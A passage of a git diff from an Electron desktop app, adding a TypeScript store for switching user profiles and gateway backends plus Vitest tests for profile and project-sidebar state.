+})
+
+describe('profile-scoped cache invalidation', () => {
+  it('drops the memory graph cache when the active gateway profile changes', () => {
+    $activeGatewayProfile.set('coder')
+
+    expect(invalidateProfileScopedQueries).toHaveBeenCalled()
+    expect(resetStarmapGraph).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('prewarmProfileBackend (hover-intent pool spawn)', () => {
+  it('opens the gateway (spawn + connect, no activation) for a non-active profile', () => {
+    prewarmProfileBackend('warm-basic')
+
+    expect(openGatewayForProfile).toHaveBeenCalledWith('warm-basic')
+    // Pre-warm must never activate — that's the click's job.
+    expect(ensureGatewayForProfile).not.toHaveBeenCalled()
+  })
+
+  it('skips the profile the gateway is already on', () => {
+    $activeGatewayProfile.set('warm-active')
+
+    prewarmProfileBackend('warm-active')
+
+    expect(openGatewayForProfile).not.toHaveBeenCalled()
+  })
+
+  it('throttles repeat pre-warms for the same profile within the interval', () => {
+    prewarmProfileBackend('warm-throttle-a')
+    prewarmProfileBackend('warm-throttle-a')
+    prewarmProfileBackend('warm-throttle-b')
+
+    const calls = openGatewayForProfile.mock.calls.map(([name]) => name)
+    expect(calls.filter(name => name === 'warm-throttle-a')).toHaveLength(1)
+    expect(calls.filter(name => name === 'warm-throttle-b')).toHaveLength(1)
+  })
+
+  it('swallows spawn failures — error UX belongs to the real switch', () => {
+    openGatewayForProfile.mockRejectedValueOnce(new Error('spawn failed'))
+
+    expect(() => prewarmProfileBackend('warm-failing')).not.toThrow()
+  })
+})
+
+describe('refreshProfiles shared rail list (#49289)', () => {
+  it('removes a deleted profile from the shared $profiles cache after Manage Profiles refreshes', async () => {
+    $profiles.set([profile('default', true), profile('test1')])
+    vi.mocked(getProfiles).mockResolvedValueOnce({ profiles: [profile('default', true)] })
+
+    await refreshProfiles()
+
+    expect($profiles.get().map(profile => profile.name)).toEqual(['default'])
+  })
+
+  it('leaves the shared $profiles cache intact when the refresh fails', async () => {
+    $profiles.set([profile('default', true), profile('test1')])
+    vi.mocked(getProfiles).mockRejectedValueOnce(new Error('backend unavailable'))
+
+    await expect(refreshProfiles()).rejects.toThrow('backend unavailable')
+
+    expect($profiles.get().map(profile => profile.name)).toEqual(['default', 'test1'])
+  })
+})
diff --git a/ui-desktop/src/store/profile.ts b/ui-desktop/src/store/profile.ts
new file mode 100644
index 000000000..7900bfb73
--- /dev/null
+++ b/ui-desktop/src/store/profile.ts
@@ -0,0 +1,442 @@
+import { atom, computed } from 'nanostores'
+
+import { getProfiles, setApiRequestProfile, STARTUP_REQUEST_TIMEOUT_MS } from '@/clawcodex'
+import { invalidateProfileScopedQueries } from '@/lib/query-client'
+import {
+  arraysEqual,
+  persistBoolean,
+  persistStringArray,
+  persistStringRecord,
+  storedBoolean,
+  storedStringArray,
+  storedStringRecord
+} from '@/lib/storage'
+import { $gateway, ensureGatewayForProfile, openGatewayForProfile } from '@/store/gateway'
+import { setConnection } from '@/store/session'
+import { resetStarmapGraph } from '@/store/starmap'
+import type { ProfileInfo } from '@/types/clawcodex'
+
+// Canonical key for a profile: trimmed, empty → "default". Used everywhere we
+// compare a session's owning profile against the live gateway's profile.
+export function normalizeProfileKey(name: string | null | undefined): string {
+  const value = (name ?? '').trim()
+
+  return value || 'default'
+}
+
+// The profile the running local backend is actually scoped to (mirrors
+// /api/profiles/active `current`). "default" is the root ~/.clawcodex. This is the
+// display source of truth for the statusbar pill; the desktop's *stored*
+// preference (which may be unset) lives in the Electron main process.
+export const $activeProfile = atom<string>('default')
+
+// Cached profile list for the picker. Refreshed lazily; the dropdown also
+// re-fetches on open so a profile created elsewhere shows up.
+export const $profiles = atom<ProfileInfo[]>([])
+
+export function setActiveProfile(name: string): void {
+  $activeProfile.set(name || 'default')
+}
+
+export async function refreshProfiles(): Promise<ProfileInfo[]> {
+  const { profiles } = await getProfiles()
+  $profiles.set(profiles)
+
+  return profiles
+}
+
+// ── Rail order ─────────────────────────────────────────────────────────────
+// User-defined order for the named (non-default) profile squares in the rail.
+// Names absent from the list fall back to alphabetical, appended at the tail —
+// so a freshly created profile lands at the end until the user drags it.
+const PROFILE_ORDER_STORAGE_KEY = 'clawcodex.desktop.profileOrder'
+
+export const $profileOrder = atom<string[]>(storedStringArray(PROFILE_ORDER_STORAGE_KEY))
+
+$profileOrder.subscribe(value => persistStringArray(PROFILE_ORDER_STORAGE_KEY, [...value]))
+
+export function setProfileOrder(names: string[]): void {
+  if (!arraysEqual($profileOrder.get(), names)) {
+    $profileOrder.set(names)
+  }
+}
+
+// Sort items by the stored order; unordered names alphabetise at the tail.
+export function sortByProfileOrder<T extends { name: string }>(items: T[], order: string[]): T[] {
+  const rank = new Map(order.map((name, index) => [name, index]))
+
+  return [...items].sort((a, b) => {
+    const ra = rank.get(a.name)
+    const rb = rank.get(b.name)
+
+    if (ra != null && rb != null) {
+      return ra - rb
+    }
+
+    return ra != null ? -1 : rb != null ? 1 : a.name.localeCompare(b.name)
+  })
+}
+
+// ── Rail colors ────────────────────────────────────────────────────────────
+// Optional per-profile color override (long-press a rail square to pick). Absent
+// names fall back to the deterministic hue from profileColor(); a local-only
+// cosmetic preference, so single-profile users never touch it.
+const PROFILE_COLORS_STORAGE_KEY = 'clawcodex.desktop.profileColors'
+
+export const $profileColors = atom<Record<string, string>>(storedStringRecord(PROFILE_COLORS_STORAGE_KEY))
+
+$profileColors.subscribe(value => persistStringRecord(PROFILE_COLORS_STORAGE_KEY, value))
+
+// Set (or, with null, clear) a profile's color override.
+export function setProfileColor(name: string, color: null | string): void {
+  const key = normalizeProfileKey(name)
+  const next = { ...$profileColors.get() }
+
+  if (color) {
+    next[key] = color
+  } else {
+    delete next[key]
+  }
+
+  $profileColors.set(next)
+}
+
+interface ActiveProfileResponse {
+  active: string
+  current: string
+}
+
+// Pull the running backend's current profile + the available profile list.
+// Best-effort: failures (backend not up yet) leave the prior values intact.
+export async function refreshActiveProfile(): Promise<void> {
+  try {
+    const res = await window.clawcodexDesktop.api<ActiveProfileResponse>({
+      path: '/api/profiles/active',
+      timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+    })
+
+    setActiveProfile(res.current || 'default')
+  } catch {
+    // Backend may not be ready; keep the last known value.
+  }
+
+  try {
+    await refreshProfiles()
+  } catch {
+    // Leave the cached list in place.
+  }
+}
+
+// Persist the choice and relaunch the backend under the new CLAWCODEX_CONFIG_DIR. The
+// main process reloads the window, so this normally never returns to the caller
+// (the renderer is torn down). We optimistically reflect the selection first so
+// the pill updates instantly if the reload is delayed.
+export async function switchProfile(name: string): Promise<void> {
+  if (!name || name === $activeProfile.get()) {
+    return
+  }
+
+  setActiveProfile(name)
+  await window.clawcodexDesktop.profile.set(name)
+}
+
+// ── Swap-minimal gateway routing ──────────────────────────────────────────
+// One live gateway at a time. When the user opens/sends a session whose profile
+// differs from the gateway's current profile, we lazily reconnect the single
+// gateway to that profile's backend (spawned on demand by the Electron pool).
+// A single-profile user never triggers a swap, so their path is unchanged.
+
+// The profile the live gateway WebSocket is currently connected to. Initialized
+// to the primary (window) backend's profile on boot.
+export const $activeGatewayProfile = atom<string>('default')
+
+// Profile for the NEXT new chat (chosen via the new-chat picker). null = primary
+// / default, so single-profile users are unaffected.
+export const $newChatProfile = atom<string | null>(null)
+
+// Bumped whenever the open session should be dropped for a fresh new-session
+// draft: a profile switch/create (below), or deleting the project that owns the
+// currently-open session (store/projects). The chat controller subscribes and
+// resets to the intro draft, so we never strand the user in an orphaned view.
+export const $freshSessionRequest = atom(0)
+
+export function requestFreshSession(): void {
+  $freshSessionRequest.set($freshSessionRequest.get() + 1)
+}
+
+// Route profile-scoped REST settings (config/env/skills/tools/model/…) to the
+// profile the live gateway is currently on, and drop cached settings from the
+// previous profile so pages refetch against the right backend. Fires once
+// immediately (no real change → no invalidation), so single-profile users just
+// get "default" (→ the primary backend) with no extra fetches.
+let _lastRoutedProfile: string | null = null
+
+$activeGatewayProfile.subscribe(value => {
+  const key = normalizeProfileKey(value)
+  setApiRequestProfile(key)
+
+  if (_lastRoutedProfile !== null && _lastRoutedProfile !== key) {
+    // Profile-scoped settings + the unified session list are now stale.
+    // Narrowed so account/marketplace/onboarding caches don't refetch on
+    // every profile switch.
+    invalidateProfileScopedQueries()
+    resetStarmapGraph()
+  }
+
+  _lastRoutedProfile = key
+})
+
+// Target profile while a gateway swap is mid-flight (spawning/reconnecting that
+// profile's backend), else null. Drives the chat's "waking up <profile>" loader
+// so a lazy spawn doesn't read as a hang. Single-profile users never swap.
+export const $gatewaySwapTarget = atom<string | null>(null)
+
+// ── Hover-intent backend pre-warm ───────────────────────────────────────────
+// A cold switch to a profile whose pool backend isn't running pays the full
+// spawn (Python boot + port announce + readiness probe — measured ~2.5-3s)
+// plus the socket connect before the sidebar can repopulate. The pointer
+// entering a profile square in the rail signals the switch a few hundred ms
+// before the click lands, so we run the same spawn + connect chain then
+// (openGatewayForProfile — without activating). `ensureBackend` in the
+// Electron main is idempotent (a pooled profile returns its existing
+// connectionPromise), so the real switch joins the in-flight work instead of
+// duplicating it — and a pre-warm for an already-open profile is a no-op.
+// Throttled per profile so drive-by hovers can't spam spawn attempts; failures
+// stay silent here and surface on the real switch, which owns retry/error UX.
+const PREWARM_MIN_INTERVAL_MS = 60_000
+
+const prewarmedAt = new Map<string, number>()
+
+export function prewarmProfileBackend(name: string): void {
+  const key = normalizeProfileKey(name)
+
+  if (key === normalizeProfileKey($activeGatewayProfile.get())) {
+    return
+  }
+
+  const now = Date.now()
+
+  if (now - (prewarmedAt.get(key) ?? 0) < PREWARM_MIN_INTERVAL_MS) {
+    return
+  }
+
+  prewarmedAt.set(key, now)
+  openGatewayForProfile(key).catch(() => undefined)
+}
+
+let gatewaySwitch: Promise<void> | null = null
+
+// Keep the renderer's $connection (mode / baseUrl / profile) in lockstep with
+// the profile the live gateway is now on. $connection seeds from the PRIMARY
+// (window) backend at boot and otherwise only refreshes on a sleep/wake
+// reconnect — so activating a *background* profile left $connection describing
+// the primary, with the wrong `mode` for everything that branches on
+// local-vs-remote. Headline symptom: with a local primary and a remote pool
+// profile active, image attachments went out via the path-based `image.attach`
+// instead of `image.attach_bytes`, handing the remote gateway a client-only
+// path it can't resolve ("image not found: C:\…"), while the /api/fs/* file
+// browser and /api/media fetches targeted the wrong machine (#46651).
+// Best-effort: a failed descriptor fetch leaves the prior connection intact for
+// boot/reconnect to resync.
+async function syncConnectionToActiveProfile(profile: string): Promise<void> {
+  const getConnection = window.clawcodexDesktop?.getConnection
+
+  if (!getConnection) {
+    return
+  }
+
+  try {
+    setConnection(await getConnection(profile))
+  } catch {
+    // Leave the prior connection in place; boot/reconnect resyncs it later.
+  }
+}
+
+// Make `profile`'s backend the active gateway, lazily opening its socket if it
+// isn't live yet. Unlike the old single-socket swap, background profiles keep
+// their sockets — so their sessions keep streaming concurrently. A null/empty
+// target means "no explicit profile" → keep the current gateway (a plain new
+// chat stays put; single-profile users never leave the primary).
+export async function ensureGatewayProfile(profile: string | null | undefined): Promise<void> {
+  if (profile == null || !String(profile).trim()) {
+    // "No explicit profile" = use the current gateway. But if an explicit swap
+    // (e.g. the user just picked a profile in the switcher) is still in flight,
+    // let it settle first so a new chat doesn't race session.create against a
+    // half-open socket and land on the wrong backend.
+    if (gatewaySwitch) {
+      await gatewaySwitch.catch(() => undefined)
+    }
+
+    return
+  }
+
+  const target = normalizeProfileKey(profile)
+
+  if (normalizeProfileKey($activeGatewayProfile.get()) === target && $gateway.get()) {
+    return
+  }
+
+  // Serialize concurrent activations so two rapid session switches don't race
+  // the active pointer.
+  if (gatewaySwitch) {
+    await gatewaySwitch.catch(() => undefined)
+
+    if (normalizeProfileKey($activeGatewayProfile.get()) === target && $gateway.get()) {
+      return
+    }
+  }
+
+  $gatewaySwapTarget.set(target)
+  gatewaySwitch = (async () => {
+    // ensureGatewayForProfile opens (or reuses) the target's socket and points
+    // the active gateway at it — without closing the profile you came from.
+    await ensureGatewayForProfile(target)
+    $activeGatewayProfile.set(target)
+    // The active backend just changed; resync $connection so remote-aware
+    // paths (image.attach_bytes vs image.attach, /api/fs/*, /api/media) follow.
+    await syncConnectionToActiveProfile(target)
+  })()
+
+  try {
+    await gatewaySwitch
+  } finally {
+    gatewaySwitch = null
+    $gatewaySwapTarget.set(null)
+  }
+}
+
+// ── Sidebar profile scope (the "workspace switcher" model) ─────────────────
+// Mirrors how Slack/VS Code/Linear do multi-context: you're "in" one profile at
+// a time and the sidebar shows only that profile's sessions (clean rows, no
+// per-row tags). The lone exception is an explicit "All profiles" mode that
+// fans every profile's sessions into one grouped, browsable list.
+
+export const ALL_PROFILES = '__all__'
+
+const SHOW_ALL_PROFILES_STORAGE_KEY = 'clawcodex.desktop.showAllProfiles'
+
+// Opt-in unified view. When false, scope follows the live gateway profile, so
+// single-profile users (who never see the switcher) are completely unaffected.
+export const $showAllProfiles = atom<boolean>(storedBoolean(SHOW_ALL_PROFILES_STORAGE_KEY, false))
+
+$showAllProfiles.subscribe(value => persistBoolean(SHOW_ALL_PROFILES_STORAGE_KEY, value))
+
+// The profile context the sidebar is currently showing: a concrete profile key,
+// or ALL_PROFILES for the unified grouped view. Concrete scope is tied to the
+// gateway so opening/selecting a profile (which swaps the gateway) moves the
+// whole sidebar with it — a real context switch, not a separate filter to keep
+// in sync.
+export const $profileScope = computed([$showAllProfiles, $activeGatewayProfile], (showAll, gateway) =>
+  showAll ? ALL_PROFILES : normalizeProfileKey(gateway)
+)
+
+// Switch the active context to `name`: leave "All profiles" mode, point new
+// chats at it, and swap the single live gateway onto its backend (which moves
+// $activeGatewayProfile → name, so $profileScope follows).
+export function selectProfile(name: string): void {
+  const target = normalizeProfileKey(name)
+  // Switching profiles (or coming back from the all-profiles browse view) starts
+  // fresh; re-tapping the profile you're already in leaves your session be.
+  const switching = $showAllProfiles.get() || target !== normalizeProfileKey($activeGatewayProfile.get())
+  $showAllProfiles.set(false)
+  $newChatProfile.set(target)
+
+  if (switching) {
+    requestFreshSession()
+  }
+
+  void ensureGatewayProfile(target)
+}
+
+// Start a fresh session in `name` WITHOUT collapsing the "All profiles" browse
+// view. Unlike selectProfile, it leaves $showAllProfiles untouched, so the
+// unified sidebar stays put — used by the per-profile "+" in the all-profiles
+// session list, where switching scope would throw away the browse state the user
+// is in. Points new chats at the profile and opens its backend so the next
+// message lands in the right place.
+export function newSessionInProfile(name: string): void {
+  const target = normalizeProfileKey(name)
+  $newChatProfile.set(target)
+  requestFreshSession()
+  void ensureGatewayProfile(target)
+}
+
+export function setShowAllProfiles(value: boolean): void {
+  $showAllProfiles.set(value)
+}
+
+export function toggleShowAllProfiles(): void {
+  $showAllProfiles.set(!$showAllProfiles.get())
+}
+
+// ── Hotkey-driven profile switching ────────────────────────────────────────
+// Positional + relative navigation for the rail, used by the keybind runtime.
+// The ordered list is [default, ...named-in-rail-order]; switching is a no-op
+// when the slot is empty so unused ⌘N keys stay harmless.
+
+function orderedProfileKeys(): string[] {
+  const profiles = $profiles.get()
+
+  const named = sortByProfileOrder(
+    profiles.filter(profile => !profile.is_default),
+    $profileOrder.get()
+  ).map(profile => normalizeProfileKey(profile.name))
+
+  const hasDefault = profiles.some(profile => profile.is_default)
+
+  return hasDefault ? ['default', ...named] : named
+}
+
+// Switch to the default (root ~/.clawcodex) profile — bound to ⌘1.
+export function switchToDefaultProfile(): void {
+  const def = $profiles.get().find(profile => profile.is_default)
+
+  selectProfile(def ? def.name : 'default')
+}
+
+// Switch to the Nth named (non-default) profile in rail order (1-based).
+export function switchProfileToSlot(slot: number): void {
+  const named = sortByProfileOrder(
+    $profiles.get().filter(profile => !profile.is_default),
+    $profileOrder.get()
+  )
+
+  const target = named[slot - 1]
+
+  if (target) {
+    selectProfile(target.name)
+  }
+}
+
+// Step to the next/previous profile in the rail, wrapping around.
+export function cycleProfile(direction: 1 | -1): void {
+  const keys = orderedProfileKeys()
+
+  if (keys.length < 2) {
+    return
+  }
+
+  const current = $showAllProfiles.get() ? -1 : keys.indexOf(normalizeProfileKey($activeGatewayProfile.get()))
+  const start = current < 0 ? (direction === 1 ? -1 : 0) : current
+  const next = (start + direction + keys.length) % keys.length
+
+  selectProfile(keys[next])
+}
+
+// Bumped to ask the rail to open its "create profile" dialog (the dialog state
+// is local to the rail component; this lets a global hotkey trigger it).
+export const $profileCreateRequest = atom(0)
+
+export function requestProfileCreate(): void {
+  $profileCreateRequest.set($profileCreateRequest.get() + 1)
+}
+
+// Keepalive ping for the active pool backend so the main-process idle reaper
+// (which can't see the direct renderer↔backend WS) spares it. No-op for the
+// primary/default backend, which is never pooled.
+export function touchActiveGatewayBackend(): void {
+  // Always ping: the main process no-ops for non-pool (primary) backends, so we
+  // don't need to know which profile is primary from here.
+  const target = normalizeProfileKey($activeGatewayProfile.get())
+  void window.clawcodexDesktop?.touchBackend?.(target).catch(() => undefined)
+}
diff --git a/ui-desktop/src/store/projects.test.ts b/ui-desktop/src/store/projects.test.ts
new file mode 100644
index 000000000..d4e669088
--- /dev/null
+++ b/ui-desktop/src/store/projects.test.ts
@@ -0,0 +1,546 @@
+import { atom } from 'nanostores'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { NO_PROJECT_ID, type SidebarProjectTree } from '@/app/chat/sidebar/projects/workspace-groups'
+import { $sidebarAgentsGrouped } from '@/store/layout'
+import { $activeGatewayProfile } from '@/store/profile'
+import { $currentCwd, $selectedStoredSessionId, $sessions, applyConfiguredDefaultProjectDir } from '@/store/session'
+
+import {
+  $activeProjectId,
+  $projectScope,
+  $projectsRpcAvailable,
+  $projectTree,
+  $removedSessionIds,
+  $sessionMutationsInFlight,
+  $worktreeRefreshToken,
+  ALL_PROJECTS,
+  beginSessionMutation,
+  createProject,
+  endSessionMutation,
+  enterProject,
+  exitProjectScope,
+  openProjectCreate,
+  pickProjectFolder,
+  projectNameForCwd,
+  refreshProjects,
+  refreshProjectTree,
+  refreshWorktrees,
+  resolveNewSessionCwd,
+  scanAndRecordRepos,
+  tombstoneSessions
+} from './projects'
+
+vi.mock('@/i18n', () => ({
+  translateNow: (key: string) => key
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn()
+}))
+
+vi.mock('@/lib/desktop-fs', () => ({
+  desktopDefaultCwd: vi.fn(),
+  isDesktopFsRemoteMode: vi.fn(),
+  selectDesktopPaths: vi.fn(),
+  writeDesktopFileText: vi.fn()
+}))
+
+vi.mock('@/store/gateway', () => ({
+  $gateway: atom(null),
+  activeGateway: vi.fn(),
+  ensureActiveGatewayOpen: vi.fn()
+}))
+
+vi.mock('@/lib/desktop-git', () => ({ desktopGit: vi.fn() }))
+
+vi.mock('@/clawcodex', () => ({
+  getClawCodexConfig: vi.fn(),
+  getProfiles: vi.fn(),
+  setApiRequestProfile: vi.fn(),
+  STARTUP_REQUEST_TIMEOUT_MS: 1000
+}))
+
+const fs = await import('@/lib/desktop-fs')
+const desktopDefaultCwd = vi.mocked(fs.desktopDefaultCwd)
+const isDesktopFsRemoteMode = vi.mocked(fs.isDesktopFsRemoteMode)
+const selectDesktopPaths = vi.mocked(fs.selectDesktopPaths)
+
+const gw = await import('@/store/gateway')
+const activeGateway = vi.mocked(gw.activeGateway)
+const gatewayAtom = gw.$gateway
+
+const git = await import('@/lib/desktop-git')
+const desktopGit = vi.mocked(git.desktopGit)
+
+const clawcodex = await import('@/clawcodex')
+const getClawCodexConfig = vi.mocked(clawcodex.getClawCodexConfig)
+const notifications = await import('@/store/notifications')
+const notify = vi.mocked(notifications.notify)
+
+describe('project scope', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    $projectScope.set(ALL_PROJECTS)
+  })
+
+  it('defaults to ALL_PROJECTS', () => {
+    expect($projectScope.get()).toBe(ALL_PROJECTS)
+  })
+
+  it('enterProject scopes the sidebar to the project id', () => {
+    // setActiveProject fires best-effort (no gateway in test → it rejects and is
+    // swallowed); the synchronous scope change is what matters here.
+    enterProject('p_123')
+    expect($projectScope.get()).toBe('p_123')
+  })
+
+  it('exitProjectScope returns to the overview', () => {
+    enterProject('p_123')
+    exitProjectScope()
+    expect($projectScope.get()).toBe(ALL_PROJECTS)
+  })
+
+  it('entering the synthetic Home bucket still scopes (no active pin)', () => {
+    enterProject(NO_PROJECT_ID)
+    expect($projectScope.get()).toBe(NO_PROJECT_ID)
+  })
+
+  it('persists the scope to localStorage', () => {
+    enterProject('p_abc')
+    expect(window.localStorage.getItem('clawcodex.desktop.projectScope')).toBe('p_abc')
+  })
+})
+
+describe('resolveNewSessionCwd', () => {
+  beforeEach(() => {
+    $projectScope.set(ALL_PROJECTS)
+    applyConfiguredDefaultProjectDir('/home/user/configured')
+    $currentCwd.set('')
+    $selectedStoredSessionId.set(null)
+    $sessions.set([])
+    // Reset focused-session projections by clearing the inputs they read.
+    // $focusedStoredSessionId falls back to $selectedStoredSessionId.
+    // $focusedSessionState needs a runtime — leave it empty via no session states.
+  })
+
+  afterEach(() => {
+    applyConfiguredDefaultProjectDir(null)
+    $projectScope.set(ALL_PROJECTS)
+    $currentCwd.set('')
+    $selectedStoredSessionId.set(null)
+    $sessions.set([])
+  })
+
+  it('starts a chat detached inside Home, ignoring the configured default dir', () => {
+    // Attaching the default dir here would move the new chat out of Home the
+    // moment it was created — "no folder" is what the bucket means.
+    enterProject(NO_PROJECT_ID)
+
+    expect(resolveNewSessionCwd()).toBe('')
+  })
+
+  it('still falls back to the configured default outside Home', () => {
+    expect(resolveNewSessionCwd()).toBe('/home/user/configured')
+  })
+
+  it('inherits the focused session workspace when not drilled into a project', () => {
+    // Simulate a primary session whose stored row carries a project cwd —
+    // the common case: you're in a chat that has a pwd, hit ⌘N/⌘T, and
+    // expect the new draft to stay in that project without sidebar drill-in.
+    $selectedStoredSessionId.set('sess-a')
+    $sessions.set([
+      {
+        archived: false,
+        cwd: '/Users/me/www/clawcodex',
+        ended_at: null,
+        id: 'sess-a',
+        input_tokens: 0,
+        is_active: true,
+        last_active: 0,
+        message_count: 1,
+        model: null,
+        output_tokens: 0,
+        started_at: 0,
+        title: 'work'
+      } as never
+    ])
+
+    expect(resolveNewSessionCwd()).toBe('/Users/me/www/clawcodex')
+  })
+
+  it('does not re-attach a remembered cwd when the focused session is detached', () => {
+    $currentCwd.set('/Users/me/stale-remembered')
+    $selectedStoredSessionId.set('sess-detached')
+    $sessions.set([
+      {
+        archived: false,
+        cwd: null,
+        ended_at: null,
+        id: 'sess-detached',
+        input_tokens: 0,
+        is_active: true,
+        last_active: 0,
+        message_count: 1,
+        model: null,
+        output_tokens: 0,
+        started_at: 0,
+        title: 'loose'
+      } as never
+    ])
+
+    // Focused session has no workspace → fall through to configured default,
+    // not the stale $currentCwd from an earlier chat.
+    expect(resolveNewSessionCwd()).toBe('/home/user/configured')
+  })
+})
+
+describe('projectNameForCwd', () => {
+  const treeNode = (
+    over: Partial<SidebarProjectTree> & Pick<SidebarProjectTree, 'id' | 'label'>
+  ): SidebarProjectTree => ({
+    path: null,
+    repos: [],
+    sessionCount: 0,
+    ...over
+  })
+
+  beforeEach(() => {
+    $projectTree.set([])
+  })
+
+  it('names the explicit project owning the cwd (longest path match)', () => {
+    $projectTree.set([
+      treeNode({ id: 'p_web', label: 'Website', path: '/repos/website' }),
+      treeNode({ id: 'p_api', label: 'API', path: '/repos/api' })
+    ])
+
+    expect(projectNameForCwd('/repos/website/src/app')).toBe('Website')
+  })
+
+  it('matches nested repo and worktree paths, not just the project root', () => {
+    $projectTree.set([
+      treeNode({
+        id: 'p_mono',
+        label: 'Monorepo',
+        path: '/repos/mono',
+        repos: [
+          {
+            id: 'r1',
+            label: 'mono',
+            path: '/repos/mono',
+            sessionCount: 0,
+            groups: [{ id: 'g1', label: 'feature', path: '/elsewhere/mono-feature', sessions: [] }]
+          }
+        ]
+      })
+    ])
+
+    // A linked worktree lives OUTSIDE the project root but still belongs to it.
+    expect(projectNameForCwd('/elsewhere/mono-feature/src')).toBe('Monorepo')
+  })
+
+  it('ignores auto-projects and the No-project bucket (no named identity)', () => {
+    $projectTree.set([
+      treeNode({ id: '/repos/loose', label: 'loose', path: '/repos/loose', isAuto: true }),
+      treeNode({ id: '__no_project__', label: 'No project', path: null, isNoProject: true })
+    ])
+
+    expect(projectNameForCwd('/repos/loose/src')).toBeNull()
+  })
+
+  it('returns null for a cwd in no project and for a blank cwd', () => {
+    $projectTree.set([treeNode({ id: 'p_web', label: 'Website', path: '/repos/website' })])
+
+    expect(projectNameForCwd('/somewhere/else')).toBeNull()
+    expect(projectNameForCwd('')).toBeNull()
+  })
+})
+
+describe('worktree refresh', () => {
+  it('refreshWorktrees bumps the probe token so useRepoWorktreeMap refetches', () => {
+    const before = $worktreeRefreshToken.get()
+    refreshWorktrees()
+    expect($worktreeRefreshToken.get()).toBe(before + 1)
+  })
+})
+
+describe('pickProjectFolder', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+  })
+
+  it('uses the remote-aware directory picker locally', async () => {
+    isDesktopFsRemoteMode.mockReturnValue(false)
+    selectDesktopPaths.mockResolvedValue(['/local/repo'])
+
+    await expect(pickProjectFolder()).resolves.toBe('/local/repo')
+    expect(selectDesktopPaths).toHaveBeenCalledWith({ defaultPath: undefined, directories: true, multiple: false })
+  })
+
+  it('seeds the picker with the backend cwd on a remote gateway', async () => {
+    isDesktopFsRemoteMode.mockReturnValue(true)
+    desktopDefaultCwd.mockResolvedValue({ branch: 'main', cwd: '/backend/work' })
+    selectDesktopPaths.mockResolvedValue(['/backend/work/repo'])
+
+    await expect(pickProjectFolder()).resolves.toBe('/backend/work/repo')
+    expect(selectDesktopPaths).toHaveBeenCalledWith({
+      defaultPath: '/backend/work',
+      directories: true,
+      multiple: false
+    })
+  })
+
+  it('returns null when the picker is cancelled (empty selection)', async () => {
+    isDesktopFsRemoteMode.mockReturnValue(false)
+    selectDesktopPaths.mockResolvedValue([])
+
+    await expect(pickProjectFolder()).resolves.toBeNull()
+  })
+})
+
+describe('createProject', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    $sidebarAgentsGrouped.set(false)
+    $activeProjectId.set(null)
+    $projectsRpcAvailable.set(null)
+  })
+
+  it('creates the project and flips into the grouped view so a blank slate shows it', async () => {
+    const created = { folders: [], id: 'p_new', name: 'Demo', primary_path: '/srv/demo' }
+
+    const request = vi.fn(async (method: string) => {
+      if (method === 'projects.create') {
+        return { project: created }
+      }
+
+      // Reconcile (fire-and-forget) re-reads list + tree; echo the project back
+      // so the optimistic state survives instead of being wiped to empty.
+      return { active_id: 'p_new', projects: [created], scoped_session_ids: [] }
+    })
+
+    activeGateway.mockReturnValue({ connectionState: 'open', request } as never)
+
+    const result = await createProject({ folders: ['/srv/demo'], name: 'Demo', use: true })
+
+    expect(result).toEqual(created)
+    expect(request).toHaveBeenCalledWith('projects.create', expect.objectContaining({ name: 'Demo' }))
+    expect($sidebarAgentsGrouped.get()).toBe(true)
+    expect($activeProjectId.get()).toBe('p_new')
+  })
+
+  it('marks the backend stale and surfaces a friendly error when projects.create is missing', async () => {
+    activeGateway.mockReturnValue({
+      connectionState: 'open',
+      request: vi.fn().mockRejectedValue(new Error('unknown method: projects.create'))
+    } as never)
+
+    await expect(createProject({ folders: ['/srv/demo'], name: 'Demo' })).rejects.toThrow(
+      'sidebar.projects.staleBackend'
+    )
+    expect($projectsRpcAvailable.get()).toBe(false)
+  })
+})
+
+describe('projects RPC capability', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    $projectsRpcAvailable.set(null)
+  })
+
+  it('marks the backend stale when projects.list is missing', async () => {
+    activeGateway.mockReturnValue({
+      connectionState: 'open',
+      request: vi.fn().mockRejectedValue(new Error('unknown method: projects.list'))
+    } as never)
+
+    await refreshProjects()
+
+    expect($projectsRpcAvailable.get()).toBe(false)
+  })
+
+  it('blocks opening the create dialog once the backend is known stale', () => {
+    $projectsRpcAvailable.set(false)
+
+    openProjectCreate()
+
+    expect(notify).toHaveBeenCalledWith(
+      expect.objectContaining({ kind: 'warning', message: 'sidebar.projects.staleBackend' })
+    )
+  })
+})
+
+describe('repository discovery policy', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    $activeGatewayProfile.set('default')
+    isDesktopFsRemoteMode.mockReturnValue(false)
+  })
+
+  function gatewayWith(request: ReturnType<typeof vi.fn>) {
+    const gateway = { connectionState: 'open', request }
+    activeGateway.mockReturnValue(gateway as never)
+    gatewayAtom.set(gateway as never)
+
+    return gateway
+  }
+
+  it('records disabled policy without invoking the filesystem scanner', async () => {
+    const request = vi.fn(async (method: string) =>
+      method === 'projects.tree'
+        ? { active_id: null, projects: [], scoped_session_ids: [] }
+        : { accepted: false, repos: [] }
+    )
+
+    gatewayWith(request)
+    const scanRepos = vi.fn()
+    desktopGit.mockReturnValue({ scanRepos } as never)
+    getClawCodexConfig.mockResolvedValue({
+      desktop: {
+        repo_scan_enabled: false,
+        repo_scan_exclude_paths: [],
+        repo_scan_roots: []
+      }
+    })
+
+    await scanAndRecordRepos()
+
+    expect(scanRepos).not.toHaveBeenCalled()
+    expect(request).toHaveBeenCalledWith('projects.record_repos', {
+      discovery_policy: { enabled: false, exclude_paths: [], roots: [] },
+      repos: []
+    })
+  })
+
+  it('passes custom roots and exclusions to Electron and records on the origin gateway', async () => {
+    const request = vi.fn(async (method: string) =>
+      method === 'projects.tree'
+        ? { active_id: null, projects: [], scoped_session_ids: [] }
+        : { accepted: true, repos: [] }
+    )
+
+    gatewayWith(request)
+    const scanRepos = vi.fn().mockResolvedValue([{ label: 'repo', root: '/work/repo' }])
+    desktopGit.mockReturnValue({ scanRepos } as never)
+    getClawCodexConfig.mockResolvedValue({
+      desktop: {
+        repo_scan_enabled: true,
+        repo_scan_exclude_paths: ['/work/vendor'],
